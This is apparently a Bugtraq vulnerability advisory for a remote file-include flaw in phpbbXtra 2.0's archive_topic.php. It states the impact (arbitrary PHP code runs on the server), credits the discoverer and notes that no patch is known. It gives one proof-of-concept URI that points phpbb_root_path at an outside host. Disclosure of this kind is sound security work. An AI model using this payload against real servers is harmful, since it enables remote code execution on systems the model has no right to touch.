PHPBBXtra Archive_Topic.PHP Remote File Include Vulnerability

Bugtraq ID:	21738
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 26 2006 12:00AM
Updated:	Jan 02 2007 07:16PM
Credit:	xoron is credited with the discovery of this vulnerability.
Vulnerable:	phpbbXtra phpbbXtra 2.0
Not Vulnerable:

PHPBBXtra Archive_Topic.PHP Remote File Include Vulnerability

phpbbXtra is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

Version 2.0 is vulnerable to this issue; other versions may also be affected.

PHPBBXtra Archive_Topic.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com.com/includes/archive/archive_topic.php?phpbb_root_path=http://www.example2.com

PHPBBXtra Archive_Topic.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHPBBXtra Archive_Topic.PHP Remote File Include Vulnerability

References:

• phpbbXtra homepage (phpbbXtra)
  
• PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability ([email protected])